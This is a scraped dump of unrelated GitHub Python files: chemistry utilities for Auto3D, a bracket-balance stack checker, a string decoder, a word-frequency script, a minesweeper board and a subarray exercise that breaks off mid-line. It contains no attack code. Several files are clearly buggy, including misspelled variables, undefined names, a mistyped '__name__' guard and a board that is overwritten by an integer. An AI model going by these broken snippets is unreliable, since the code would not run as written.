MultipleAnalysesFound(Exception):\n pass\n","repo_name":"erik-whiting/OSS-security-database","sub_path":"models/analysis_factory.py","file_name":"analysis_factory.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"34737276644","text":"#!/usr/bin/env python\n\"\"\"\nProviding utilities for the workflow package.\n\"\"\"\nimport logging\nimport math\nimport warnings\nimport os\nimport sys\nimport re\nimport glob\nimport torch\nimport collections\nfrom collections import defaultdict, OrderedDict\nimport shutil\nfrom openbabel import openbabel as ob\nfrom openbabel import pybel\nfrom tqdm import tqdm\nfrom io import StringIO\nfrom rdkit import Chem\nfrom rdkit.Chem.rdMolDescriptors import CalcNumAtomStereoCenters\nfrom rdkit.Chem.rdMolDescriptors import CalcNumUnspecifiedAtomStereoCenters\n\n#CODATA 2018 energy conversion factor\nhartree2ev = 27.211386245988\nhartree2kcalpermol = 627.50947337481\nev2kcalpermol = 23.060547830619026\n\nlogger = logging.getLogger(\"auto3d\")\ndef guess_file_type(filename):\n \"\"\"Returns the extension for the filename\"\"\"\n assert '.' in filename\n return os.path.splitext(filename)[1][1:]\n\ndef check_input(args):\n \"\"\"\n Check the input file and give recommendations.\n\n Arguments:\n args: Arguments to auto3d.\n\n Returns:\n This function checks the format of the input file, the properties for\n each SMILES in the input file.\n \"\"\"\n print(\"Checking input file...\")\n logger.info(\"Checking input file...\")\n # logger.info(\"================================================================================\")\n # logger.info(\" Check Input\")\n # logger.info(\"================================================================================\")\n ANI_elements = {1, 6, 7, 8, 9, 16, 17}\n ANI = True\n # Check --use_gpu\n gpu_flag = args.use_gpu\n if gpu_flag:\n if torch.cuda.is_available() == False:\n sys.exit(\"No cuda device was detected. Please set --use_gpu=False.\")\n # Check the availability of omega\n # if \"OE_LICENSE\" not in os.environ:\n # warnings.warn(\"OpenEye software license is not detected. Please use RDKit for your program where applicable.\")\n isomer_engine = args.isomer_engine\n if (\"OE_LICENSE\" not in os.environ) and (isomer_engine == \"omega\"):\n sys.exit(\"Omega is used as the isomer engine, but OE_LICENSE is not detected. Please use rdkit.\")\n\n # Check the installation for open toolkits, torchani\n if args.isomer_engine == \"omega\":\n try:\n from openeye import oechem\n except:\n sys.exit(\"Omega is used as isomer engine, but openeye toolkits are not installed.\")\n \n if args.optimizing_engine == \"ANI2x\":\n try:\n import torchani\n except:\n sys.exit(\"ANI2x is used as optimizing engine, but TorchANI is not installed.\")\n\n if args.optimizing_engine == \"ANI2xt\":\n try:\n from torchani.repulsion import StandaloneRepulsionCalculator\n except:\n sys.exit(\"ANI2xt is used as optimizing engine, but TorchANI with repulsion calculator is not installed.\")\n\n if int(args.opt_steps) < 10:\n sys.exit(f\"Number of optimization steps cannot be smaller than 10, but received {args.opt_steps}\")\n\n # Check the input format\n smiles_all = []\n with open(args.path, 'r') as f:\n data = f.readlines()\n for line in data:\n smiles, id = tuple(line.strip().split())\n assert len(smiles) > 0, \\\n \"Empty SMILES string\"\n assert len(id) > 0, \\\n \"Empty ID\"\n assert \"_\" not in id, \\\n f\"Sorry, SMILES ID cannot contain underscore: {smiles}\"\n smiles_all.append(smiles)\n print(f\"\\tThere are {len(data)} SMILES in the input file {args.path}. \")\n print(\"\\tAll SMILES and IDs are valid.\")\n logger.info(f\"\\tThere are {len(data)} SMILES in the input file {args.path}. \\n\\tAll SMILES and IDs are valid.\")\n\n # Check number of unspecified atomic stereo center\n if args.enumerate_isomer == False:\n for smiles in smiles_all:\n c = CalcNumUnspecifiedAtomStereoCenters(Chem.MolFromSmiles(smiles))\n if c > 0:\n msg = f\"{smiles} contains unspecified atomic stereo centers, but enumerate_isomer=False. Please use cis_tras=True so that Auto3D can enumerate the unspecified atomic stereo centers.\"\n warnings.warn(msg, UserWarning)\n\n # Check the properties of molecules\n only_aimnet_smiles = []\n for smiles in smiles_all:\n mol = Chem.MolFromSmiles(smiles)\n charge = Chem.rdmolops.GetFormalCharge(mol)\n elements = set([a.GetAtomicNum() for a in mol.GetAtoms()])\n if ((elements.issubset(ANI_elements) is False) or (charge != 0)):\n ANI = False\n only_aimnet_smiles.append(smiles)\n\n print(\"Suggestions for choosing isomer_engine and optimizing_engine: \")\n logger.info(f\"Suggestions for choosing isomer_engine and optimizing_engine: \")\n if ANI:\n print(\"\\tIsomer engine options: RDKit and Omega.\\n\"\n \"\\tOptimizing engine options: ANI2x, ANI2xt and AIMNET.\")\n logger.info(\"\\tIsomer engine options: RDKit and Omega.\")\n logger.info(\"\\tOptimizing engine options: ANI2x, ANI2xt and AIMNET.\")\n else:\n print(\"\\tIsomer engine options: RDKit and Omega.\\n\"\n \"\\tOptimizing engine options: AIMNET.\")\n logger.info(\"\\tIsomer engine options: RDKit and Omega.\")\n logger.info(\"\\tOptimizing engine options: AIMNET.\")\n optimizing_engine = args.optimizing_engine\n if optimizing_engine != \"AIMNET\":\n sys.exit(f\"Only AIMNET can handle: {only_aimnet_smiles}, but {optimizing_engine} was parsed to Auto3D.\")\n logger.critical(f\"Only AIMNET can handle: {only_aimnet_smiles}, but {optimizing_engine} was parsed to Auto3D.\")\n\n\nclass NullIO(StringIO):\n \"\"\"\n Place holder for a clean terminal\n \"\"\"\n def write(self, txt):\n pass\n\ndef countXYZ(xyz):\n \"\"\"Counting the number of structures in XYZ file\"\"\"\n c = 0\n for _ in pybel.readfile('xyz', xyz):\n c += 1\n return c\n\ndef countSDF(sdf):\n \"\"\"Counting the number of structures in SDF file\"\"\"\n mols = pybel.readfile('sdf', sdf)\n mols2 = [mol for mol in mols]\n c = len(mols2)\n return c\n\ndef hash_enumerated_smi_IDs(smi, out):\n '''\n Writes all SMILES with hashed IDs into smiles_enumerated_hashed.smi\n\n Arguments:\n smi: a .smi File path\n out: the path for the new .smi file where original IDs are hashed.\n Returns:\n writes all SMILES with hashed IDs into smiles_enumerated_hashed.smi\n '''\n with open(smi, 'r') as f:\n data = f.readlines()\n\n dict0 = {}\n for line in data:\n smiles, id = line.strip().split()\n while (id in dict0.keys()):\n id += '_0'\n dict0[id] = smiles\n\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n\n new_smi = out\n with open(new_smi, 'w+') as f:\n for id, smiles in dict0.items():\n molecule = smiles.strip() + ' ' + id.strip() + '\\n'\n f.write(molecule)\n\ndef hash_taut_smi(smi, out):\n '''\n Writes all SMILES with hashed IDs for tautomers\n\n Arguments:\n smi: a .smi File path\n out: the path for the new .smi file where original IDs are hashed.\n '''\n with open(smi, 'r') as f:\n data = f.readlines()\n\n dict0 = {}\n for line in data:\n smiles, id = line.strip().split()\n c = 1\n id_ = id\n while (('taut' not in id_) or (id_ in dict0.keys())):\n id_ = id + f\"@taut{c}\"\n c += 1\n dict0[id_] = smiles\n\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n\n with open(out, 'w+') as f:\n for id, smiles in dict0.items():\n molecule = smiles.strip() + ' ' + id.strip() + '\\n'\n f.write(molecule)\n\n\ndef sort_helper(mol):\n '''\n Converting the pybel mol object into an array containing\n atomic number and coordinates.\n '''\n num2symbol = {1: 'H', 6: 'C', 8: 'O', 7: 'N', 9: 'F', 16: 'S', 17: 'Cl'}\n unit = []\n for atom in mol.atoms:\n num = atom.atomicnum\n symbol = num2symbol[num]\n x, y, z = atom.coords\n symbol_coord = [symbol, x, y, z]\n unit.append(symbol_coord)\n return unit\n\n\ndef sort_enumerated_xyz(xyz, out):\n '''\n Sort an xyz file based on the IDs of SMILES in the input file.\n\n Arguments:\n xyz: the input xyz file.\n out: the path for the sorted xyz file\n Returns:\n writes the sorted molecules into out.\n '''\n dict0 = {}\n mols = pybel.readfile('xyz', xyz)\n for mol in tqdm(mols):\n id = str(mol).strip().split('\\t')[1].strip()\n unit = sort_helper(mol)\n dict0[id] = unit\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n\n # new_xyz = out[:-4] + '_ordered.xyz'\n with open(out, 'w+') as f:\n for id, unit in dict0.items():\n length = str(len(unit)) + '\\n'\n id = id.strip() + '\\n'\n f.write(length)\n f.write(id)\n for line in unit:\n s, x, y, z = line\n atom = (str(s).strip() + '\\t' + str(x) + '\\t' +\n str(y) + '\\t' + str(z) + '\\n')\n f.write(atom)\n\ndef sort_enumerated_sdf(sdf, out):\n \"\"\"\n Sort an SDF file based on the IDs of SMILES in the input file.\n\n Arguments:\n sdf: the input SDF file.\n out: the path for the sorted SDF file\n Returns:\n writes the sorted molecules into out.\n \"\"\"\n dict0 = {}\n \n mols = pybel.readfile('sdf', sdf)\n for mol in mols:\n idx = str(mol).split('\\t')[1].strip().split(' ')[0].strip()\n mol.data['ID'] = idx\n dict0[idx] = mol\n dict0 = collections.OrderedDict(sorted(dict0.items()))\n \n f = pybel.Outputfile('sdf', out)\n for idx, mol in dict0.items():\n f.write(mol)\n f.close()\n\ndef combine_xyz(in_folder, out_path):\n \"\"\"\n Combining all xyz files in the in_folder into a single xyz file (out_path).\n\n Arguemnts:\n in_folder: a folder contains all xyz files.\n out_path: a path of xyz file to store every structure in the in_folder\n\n Returns:\n Combining all xyz files in the in_folder into out_path.\n \"\"\"\n file_paths = os.path.join(f\"{in_folder}/*.xyz\")\n files = glob.glob(file_paths)\n # print(f'There are {len(files)} single xyz files...')\n\n results = []\n for file in files:\n with open(file, 'r') as f:\n data = f.readlines()\n assert(len(data) == (int(data[0]) + 2))\n results += data\n\n with open(out_path, 'w+') as f:\n for line in results:\n f.write(line)\n # print(f'Combined in a singl file {out_path}!')\n\ndef combine_smi(smies, out):\n \"\"\"Combine smi files into a single file\"\"\"\n data = []\n for smi in smies:\n with open(smi, 'r') as f:\n datai = f.readlines()\n data += datai\n data = list(set(data))\n with open(out, 'w+') as f2:\n for line in data:\n if not line.isspace():\n f2.write((line.strip() + '\\n'))\n\n\ndef housekeeping_helper(folder, file):\n basename = os.path.basename(file)\n new_name = os.path.join(folder, basename)\n shutil.move(file, new_name)\n\n\ndef housekeeping(job_name, folder, optimized_structures):\n \"\"\"\n Moving all meta data into a folder\n\n Arguments:\n folder: a folder name to contain all meta data\n out: the resulting SDF output\n Returns:\n whe the function is called, it moves all meta data into a folder.\n \"\"\"\n paths = os.path.join(job_name, '*')\n files = glob.glob(paths)\n for file in files:\n if file != optimized_structures:\n shutil.move(file, folder)\n\n try:\n paths1 = os.path.join('', 'oeomega_*')\n files1 = glob.glob(paths1)\n paths2 = os.path.join('', 'flipper_*')\n files2 = glob.glob(paths2)\n files = files1 + files2\n for file in files:\n shutil.move(file, folder)\n except:\n pass\n\ndef enantiomer(l1, l2):\n \"\"\"Check if two lists of stereo centers are enantiomers\"\"\"\n indicator = True\n assert (len(l1) == len(l2))\n for i in range(len(l1)):\n tp1 = l1[i]\n tp2 = l2[i]\n idx1, stereo1 = tp1\n idx2, stereo2 = tp2\n assert(idx1 == idx2)\n if (stereo1 == stereo2):\n indicator = False\n return indicator\n return indicator\n \n\ndef enantiomer_helper(smiles):\n \"\"\"get non-enantiomer SMILES from given smiles\"\"\"\n mols = [Chem.MolFromSmiles(smi) for smi in smiles]\n stereo_centers = [Chem.FindMolChiralCenters(mol, useLegacyImplementation=False) for mol in mols]\n non_enantiomers = []\n non_centers = []\n for i in range(len(stereo_centers)):\n smi = smiles[i]\n stereo = stereo_centers[i]\n indicator = True\n for j in range(len(non_centers)):\n stereo_j = non_centers[j]\n if enantiomer(stereo_j, stereo):\n indicator = False\n if indicator:\n non_centers.append(stereo)\n non_enantiomers.append(smi)\n return non_enantiomers\n \n\ndef remove_enantiomers(inpath, out):\n \"\"\"Removing enantiomers for the input file\n Arguments:\n inpath: input smi\n output: output smi\n \"\"\"\n with open(inpath, 'r') as f:\n data = f.readlines()\n \n smiles = defaultdict(lambda: [])\n for line in data:\n vals = line.split()\n smi, name = vals[0].strip(), vals[1].strip().split(\"_\")[0].strip()\n smiles[name].append(smi)\n\n for key, values in smiles.items():\n try:\n new_values = enantiomer_helper(values)\n except:\n new_values = values\n print(f\"Enantiomers not removed for {key}\")\n logger.info(f\"Enantiomers not removed for {key}\")\n \n smiles[key] = new_values\n \n with open(out, 'w+') as f:\n for key, val in smiles.items():\n for i in range(len(val)):\n new_key = key + \"_\" + str(i)\n line = val[i].strip() + ' ' + new_key + '\\n'\n f.write(line)\n return smiles\n\ndef atomType(mol, atomIdx):\n \"\"\"get the atomic type given an atom index, both in pybel mol object\"\"\"\n atom_num = mol.OBMol.GetAtom(atomIdx).GetAtomicNum()\n return atom_num\n\n\ndef check_bonds(mol):\n \"\"\"Check if a pybel mol object has valid bond lengths\"\"\"\n # Initialize UFF bond radii (Rappe et al. JACS 1992)\n # Units of angstroms \n # These radii neglect the bond-order and electronegativity corrections in the original paper. Where several values exist for the same atom, the largest was used. \n Radii = {1:0.354, \n 5:0.838, 6:0.757, 7:0.700, 8:0.658, 9:0.668,\n 14:1.117, 15:1.117, 16:1.064, 17:1.044,\n 32: 1.197, 33:1.211, 34:1.190, 35:1.192,\n 51:1.407, 52:1.386, 53:1.382}\n\n for bond in ob.OBMolBondIter(mol.OBMol):\n length = bond.GetLength()\n begin = atomType(mol, bond.GetBeginAtomIdx())\n end = atomType(mol, bond.GetEndAtomIdx())\n reference_length = (Radii[begin] + Radii[end]) * 1.25\n if length > reference_length:\n return False\n return True\n\n\ndef filter_unique(mols, crit=0.3):\n \"\"\"Remove structures that are very similar.\n Remove unconverged structures.\n \n Arguments:\n mols: pybel mol objects\n Returns:\n unique_mols: unique molecules\n \"\"\"\n\n #Remove unconverged structures\n mols_ = []\n for mol in mols:\n convergence_flag = str(mol.data['Converged']).lower() == \"true\"\n has_valid_bonds = check_bonds(mol)\n if convergence_flag and has_valid_bonds:\n mols_.append(mol)\n mols = mols_\n\n #Remove similar structures\n unique_mols = []\n aligner = pybel.ob.OBAlign()\n for mol_i in mols:\n aligner.SetRefMol(mol_i.OBMol)\n unique = True\n for mol_j in unique_mols:\n aligner.SetTargetMol(mol_j.OBMol)\n aligner.Align()\n rmsd = aligner.GetRMSD()\n if rmsd < crit:\n unique = False\n break\n if unique:\n unique_mols.append(mol_i)\n return unique_mols\n\n\ndef unique_conformers(files, crit=0.5):\n \"\"\"Removing conformers whose RMSD is within crit\n \n Arguments:\n files: sdf files\n \"\"\"\n unique_files = []\n duplicate_files = []\n aligner = pybel.ob.OBAlign()\n for file in files:\n mol = next(pybel.readfile(\"sdf\", file))\n aligner.SetRefMol(mol.OBMol)\n unique = True\n for f in unique_files:\n mol_j = next(pybel.readfile(\"sdf\", f))\n aligner.SetTargetMol(mol_j.OBMol)\n aligner.Align()\n rmsd = aligner.GetRMSD()\n if rmsd < crit:\n unique = False\n break\n if unique:\n unique_files.append(file)\n else:\n duplicate_files.append(file)\n c = len(unique_files) + len(duplicate_files)\n assert(c == len(files))\n for file in duplicate_files:\n os.remove(file)\n\ndef sort_output(mols, out):\n \"\"\"Sort molecules based on energies\n \n Arguments:\n mols: a list of pybel mol objects\n out: a SDF file to store the molecules\n \"\"\"\n l = []\n for mol in mols:\n name = mol.data['ID'].split('_')[0].strip()\n e = mol.data['E_tot']\n e_rel = mol.data['E_relative']\n\n l.append((name, e_rel, mol))\n\n l = sorted(l)\n\n f = pybel.Outputfile('sdf', out)\n for n_er_m in l:\n name, e_relative, mol = n_er_m\n f.write(mol)\n f.close()\n\ndef no_enantiomer_helper(info1, info2):\n \"\"\"Return true if info1 and info2 are enantiomers\"\"\"\n assert (len(info1) == len(info2))\n for i in range(len(info1)):\n if info1[i].strip() == info2[i].strip():\n return False\n return True\n\ndef get_stereo_info(smi):\n \"Return a dictionary of @@ or @ in smi\"\n dct = {}\n regex1 = re.compile(\"[^@]@[^@]\")\n regex2 = re.compile(\"@@\")\n\n # match @\n for m in regex1.finditer(smi):\n dct[m.start()+1] = '@'\n\n #match @@\n for m in regex2.finditer(smi):\n dct[m.start()] = \"@@\"\n\n dct2 = OrderedDict(sorted(dct.items()))\n return dct2\n\n\ndef no_enantiomer(smi, smiles):\n \"\"\"Return True if there is no enantiomer for smi in smiles\"\"\"\n\n stereo_infoi = list(get_stereo_info(smi).values())\n for i in range(len(smiles)):\n tar = smiles[i]\n if tar != smi:\n stereo_infoj = list(get_stereo_info(tar).values())\n if no_enantiomer_helper(stereo_infoi, stereo_infoj):\n return False\n return True\n\ndef create_enantiomer(smi):\n \"\"\"Create an enantiomer SMILES for input smi\"\"\"\n stereo_info = get_stereo_info(smi)\n new_smi = \"\"\n # for key in stereo_info.keys():\n # val = stereo_info[key]\n # if val == '@':\n keys = list(stereo_info.keys())\n if len(keys) == 1:\n key = keys[0]\n val = stereo_info[key]\n if val == \"@\":\n new_smi += smi[:key]\n new_smi += \"@@\"\n new_smi += smi[(key+1):]\n elif val == \"@@\":\n new_smi += smi[:key]\n new_smi += \"@\"\n new_smi += smi[(key+2):]\n else:\n raise ValueError(\"Invalid %s\" % smi)\n return new_smi\n\n for i in range(len(keys)):\n if i == 0:\n key = keys[i]\n new_smi += smi[:key]\n else:\n key1 = keys[i-1]\n key2 = keys[i]\n val1 = stereo_info[key1]\n if val1 == \"@\":\n new_smi += \"@@\"\n new_smi += smi[int(key1+1): key2]\n elif val1 == \"@@\":\n new_smi += \"@\"\n new_smi += smi[int(key1+2): key2]\n val2 = stereo_info[key2]\n if val2 == \"@\":\n new_smi += \"@@\"\n new_smi += smi[int(key2+1):]\n elif val2 == \"@@\":\n new_smi += \"@\"\n new_smi += smi[int(key2+2):]\n return new_smi\n\ndef check_value(n):\n \"\"\"Return True if n is a power of 2. 2^-2 and 2^-1 should be accessible,\n because not all stereo centers can be enumerated. For example: CC12CCC(C1)C(C)(C)C2O\"\"\"\n \n power = math.log(n, 2)\n decimal, integer = math.modf(power)\n i = abs(power - integer)\n if (i < 0.0001):\n return True\n return False\n\ndef amend_configuration(smis):\n \"\"\"Adding the missing configurations. \n Example: N=C1OC(CN2CC(C)OC(C)C2)CN1\"\"\"\n\n with open(smis, 'r') as f:\n data = f.readlines()\n dct = defaultdict(lambda: [])\n for line in data:\n smi, idx = tuple(line.strip().split())\n idx = idx.split(\"_\")[0].strip()\n dct[idx].append(smi)\n \n for key in dct.keys():\n value = dct[key]\n smi = value[0]\n mol = Chem.MolFromSmiles(smi)\n num_centers = CalcNumAtomStereoCenters(mol)\n num_unspecified_centers = CalcNumUnspecifiedAtomStereoCenters(mol)\n # num_configurations = 2 ** num_unspecified_centers\n num_configurations = 2 ** num_centers\n num = len(value)/num_configurations\n\n if ((check_value(num) == False) and (\"@\" in smi)): # Missing configurations\n try:\n new_value = []\n for val in value:\n if no_enantiomer(val, value):\n new_val = create_enantiomer(val)\n new_value.append(new_val)\n value += new_value\n \n # assert \n new_num = len(value)/num_configurations\n assert (check_value(new_num) == True)\n dct[key] = value\n except:\n print(f\"Stereo centers for {key} are not fully enumerated.\")\n logger.info(f\"Stereo centers for {key} are not fully enumerated.\")\n return dct\n\ndef amend_configuration_w(smi):\n \"\"\"Write the output from dictionary\"\"\"\n dct = amend_configuration(smi)\n with open(smi, 'w+') as f:\n for key in dct.keys():\n val = dct[key]\n for i, smi in enumerate(val):\n idx = str(key).strip() + \"_\" + str(i+1)\n line = smi + ' ' + idx + '\\n'\n f.write(line)\n\n\ndef is_macrocycle(smi, size=10):\n \"\"\"Check is a SMIELS is contains a macrocycle part (a 10-membered or larger \n ring regardless of their aromaticity and hetero atoms content)\"\"\"\n mol = Chem.MolFromSmiles(smi)\n ring = mol.GetRingInfo()\n ring_bonds = ring.BondRings()\n for bonds in ring_bonds:\n if len(bonds) >= 10:\n return True\n return False\n\n\ndef split_smi(smi):\n \"\"\"Split an input .smi file into two files:\n one contains small SMILES, the other contain macrocycle smiles\n \"\"\"\n #Prepare out file path\n dir = os.path.dirname(os.path.realpath(smi))\n basename = os.path.basename(smi)\n normal_name = basename.split(\".\")[0].strip() + \"_normal.smi\"\n macrocycle_name = basename.split(\".\")[0].strip() + \"_macrocycle.smi\"\n normal_path = os.path.join(dir, normal_name)\n macrocycle_path = os.path.join(dir, macrocycle_name)\n\n normal = []\n macrocycle = []\n with open(smi, \"r\") as f:\n data = f.readlines()\n for line in tqdm(data):\n smi_idx = line.strip().split()\n smi = smi_idx[0]\n if is_macrocycle(smi):\n macrocycle.append(line)\n else:\n normal.append(line)\n \n l_ = len(normal) + len(macrocycle)\n l = len(data)\n assert(l == l_)\n\n with open(normal_path, \"w+\") as f:\n for line in normal:\n f.write(line)\n\n with open(macrocycle_path, \"w+\") as f:\n for line in macrocycle:\n f.write(line)\n\n\nclass my_name_space(dict):\n \"\"\"A modified dictionary whose keys can be accessed via dot. This dict is\n similar to a NameSpace object from parser.\n \"\"\"\n def __getattr__(self, key):\n try:\n return self[key]\n except KeyError as k:\n raise AttributeError(k)\n\n def __setattr__(self, key, value):\n self[key] = value\n\n def __delattr__(self, key):\n try:\n del self[key]\n except KeyError as k:\n raise AttributeError(k)\n\n def __repr__(self):\n return ''\n","repo_name":"edenspec2/conformers_project","sub_path":"python_code/random code/auto3d_utils.py","file_name":"auto3d_utils.py","file_ext":"py","file_size_in_byte":24090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"28925488522","text":"open_brackets = ['[', '{', '(']\nclose_brackets = [']', '}', ')']\nbalanced_brackets = ['[]', '{}', '()']\n\n\nclass Stack():\n my_stack = []\n\n def __init__(self, my_stack):\n self.my_stack = []\n\n def isEmpty(self):\n \"\"\"\n Метод проверки стэка на пустоту\n\n :return: Метод возвращает True или False.\n \"\"\"\n if self.my_stack == []:\n return True\n else:\n return False\n\n def push(self, new_element):\n \"\"\"\n Методо добавления нового элемента в стэк\n\n :return: Метод ничего не возвращает.\n \"\"\"\n self.my_stack.append(new_element)\n return\n\n def pop(self):\n \"\"\"\n Метод удаления верхнего элемента стэка.\n\n :return: Метод возвращает верхний элемент стэка, стэк изменяется\n \"\"\"\n deleted_element = self.my_stack.pop(-1)\n return deleted_element\n\n def peek(self):\n \"\"\"\n Метод возвращения верхнего верхнего элемента стэка.\n\n :return: Метод возвращает верхний элемент стека, стэк не меняется\n \"\"\"\n top_element = self.my_stack[-1]\n return top_element\n\n def size(self):\n \"\"\"\n Метод возвращения количества элементов стэка.\n\n :return: Метод возвращает количество элементов стэка\n \"\"\"\n len_stack = len(self.my_stack)\n return len_stack\n\n\ndef inp_string():\n \"\"\"\n Функция пользовательского ввода строки\n\n :return: Строка, введенная пользователем\n \"\"\"\n bracket_string = input('Введите строку со скобками: ')\n return bracket_string\n\n\ndef check_string(bracket_string):\n \"\"\"\n Функция проверки строки на содержение скобки\n\n :param bracket_string: строка для проверки на наличие скобки\n :return: Строка с ответом: содержит или не содержит\n \"\"\"\n for letter in bracket_string:\n if letter in open_brackets or letter in close_brackets:\n check_result = 'Строка содержит одну или более скобок'\n return check_result\n check_result = 'Строка не содержит скобок'\n return check_result\n\n\ndef check_bracket_balance(bracket_string):\n \"\"\"\n Функция проверки строки со скобками на сбалансированность скобок\n\n :param bracket_string: Строка со скобками\n :return: Строка с ответом: сбалансированы скобки либо нет\n \"\"\"\n my_class = Stack\n for simbol in bracket_string:\n if simbol in open_brackets:\n my_class.push(my_class, simbol)\n elif simbol in close_brackets and not my_class.isEmpty(my_class):\n unknown_brackets = my_class.pop(my_class) + simbol\n if str(unknown_brackets) not in balanced_brackets:\n result = 'Скобки не сбалансированы'\n return result\n elif simbol in close_brackets and my_class.isEmpty(my_class):\n result = 'Скобки не сбалансированы'\n return result\n if not my_class.isEmpty(my_class):\n result = 'Скобки не сбалансированы'\n return result\n result = 'Скобки сбалансированы'\n return result\n","repo_name":"ilyava1/ClassStack","sub_path":"service_module.py","file_name":"service_module.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70134978154","text":"import argparse\n\n\ndef _my_divmod(x, y):\n q, r = divmod(x, y)\n return (q, r) if r else (q - 1, y)\n\n\ndef _divide(number, basis):\n if number:\n while number:\n number, remainder = _my_divmod(number, basis)\n yield remainder\n else:\n yield 0\n\n\ndef main(*, alphabet: str, **kwargs):\n alphabet = \"ε\" + alphabet\n try:\n code = int(input(\"Type the number you wish to decode: \").strip())\n if code < 0:\n raise ValueError(\"Code should be unsigned\")\n except ValueError as e:\n raise ValueError(\"Please input an unsigned integer\") from e\n\n return \"\".join(reversed([alphabet[i] for i in _divide(code, len(alphabet) - 1)]))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '--alphabet',\n required=True\n )\n\n print(main(**vars(parser.parse_args())))\n","repo_name":"enaskopelja/izracunljivost","sub_path":"Σ*_encoder_decoder/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15366764011","text":"import turtle\n##全局变量##\n#词频排列显示个数\ncout=10\n#单词频率组数-作为y轴数据\ndata=[]\n#y轴显示凡达倍数-可以根据词频数量进行调节\nyScale=6\n#x轴显示放大倍数-可以根据count数量进行调节\nxScale=30\n\n#######Turtle Start######\n#######Turtle End######\n#对文本的每一个计算词频的函数\ndef processLine(line,worldCounts):\n #用空格替换标点符号\n line=replacePunctuations(line)\n #从每一行获取每个词\n words=line.split()\n for word in words:\n if word in wordCounts:\n wordCouts[word]+=1\n else:\n worCounts[word]=1\n#空格替换标点函数\ndef replacePunctuations(line):\n for ch in line:\n if ch in \"~@#$%^&*()_-+=<>?/,.:{}[]\\'\"\"\":\n line=line.replace(ch,\" \")\n return line\ndef main():\n #用户输入一个文件名\n filename=input(\"enter a filename:\").strip()\n infile=open(filename,\"r\")\n #建立用于技术的空字典\n wordCounts={}\n for line in infile:\n processLine(line.lower(),wordCounts)\n #从字典中获取数据对\n pairs=list(wordCounts.items())\n #列表中的数据对交换位置,数据对排序\n items=[[x,y]for(y,x)in pairs]\n items,sort()\n #输出count个数词频结果\n for i in range(len(items)-1,len(item)-count-1,-1):\n print(intems[i][1]+\"\\t\"+str(items[i][0]))\n data.append(items[i][0])\n words.append(items[i][1])\n infile.close()\n#调用main()函数\nif __name___=='__main__':\n main()\n","repo_name":"zyczzh/python-study-from-mooc","sub_path":"Python语言程序设计基础/week 6/homework 3/哈姆雷特词频分析.py","file_name":"哈姆雷特词频分析.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10253404967","text":"import random\n\n\nclass Board:\n\n def __init__(self, width, height, numMines):\n self.spots = [[0 for i in range(width)] for j in range(height)]\n self.numMines = numMines\n self.height = height\n self.width = width\n\n def createBoard(self, startingX, startingY):\n minesPlaced = 0\n while (minesPlaced < self.numMines):\n #for i in range(0, 10):\n randX = random.randrange(0, self.width-1)\n randY = random.randrange(0, self.height-1)\n notAdjacentX = (randX - startingX) > 1 or (randX - startingX) < -1\n notAdjacentY = (randY - startingY) > 1 or (randY - startingY) < -1\n notAdjacent = notAdjacentX or notAdjacentY\n if (self.spots[randX][randY] == 0) and notAdjacent:\n self.spots[randX][randY] = 1\n minesPlaced += 1\n self.makeMove(startingX, startingY)\n\n def checkValid(self, x, y):\n validX = (x >= 0) and (x < self.width)\n validY = (y >= 0) and (y < self.height)\n #notPlayed = self.spots[x][y] == 0\n return validX and validY #and notPlayed\n \n def checkAdjacent(self, x, y):\n numAdjacent = 0\n for i in range(x-1, x+1):\n for j in range(y-1, y+1):\n if (self.spots[i][j] == 1):\n numAdjacent += 1\n return numAdjacent\n \n def makeMove(self, x, y):\n if self.checkValid(x, y):\n print (self.spots[x][y])\n value = self.spots[x][y]\n if (value == 0):\n value = self.checkAdjacent(x, y) + 2\n self.spots = value\n if (value == 2):\n for i in range(x-1, x+1):\n for j in range(y-1, y+1):\n break\n #self.makeMove(i, j)\n return value\n \n def revealBoard(self):\n for i in range(0, self.width):\n for j in range(0, self.height):\n if (self.spots[i][j] == 0):\n self.makeMove(i, j)","repo_name":"Stenvold-Matthew/CS333_Final_Project","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"22800129955","text":"# Problem Description\n# Given an array of integers A, of size N.\n#\n# Return the maximum size subarray of A having only non-negative elements. If there are more than one such subarray,\n# return the one having the smallest starting index in A.\n#\n# NOTE: It is guaranteed that an answer always exists.\n#\n#\n#\n# Problem Constraints\n# 1 <= N <= 105\n#\n# -109 <= A[i] <= 109\n#\n#\n#\n# Input Format\n# The first and only argument given is the integer array A.\n#\n#\n#\n# Output Format Return maximum size subarray of A having only non-negative elements. If there are more than one such\n# subarrays, return the one having earliest starting index in A.\n#\n#\n#\n# Example Input\n# Input 1:\n#\n# A = [5, 6, -1, 7, 8]\n# Input 2:\n#\n# A = [1, 2, 3, 4, 5, 6]\n#\n#\n# Example Output\n# Output 1:\n#\n# [5, 6]\n# Output 2:\n#\n# [1, 2, 3, 4, 5, 6]\n#\n#\n# Example Explanation\n# Explanation 1:\n#\n# There are two sub-arrays of size 2 having only non-negative elements.\n# 1. [5, 6] starting point = 0\n# 2. [7, 8] starting point = 3\n# As starting point of 1 is smaller, return [5, 6]\n# Explanation 2:\n#\n# There is only one sub-array of size 6 having only non-negative elements:\n# [1, 2, 3, 4, 5, 6]\nclass Solution:\n # @param A : list of integers\n # @return a list of integers\n def solve(self, A):\n n = len(A)\n s = 0\n e = 0\n s_index = 0 # for temporarily storing start index\n max_len = -1 # to check on maximum length\n for i in range(n):\n element = A[i]\n if element < 0:\n s_index = i + 1\n if element >= 0 and s_index <= i:\n temp_len = i - s_index + 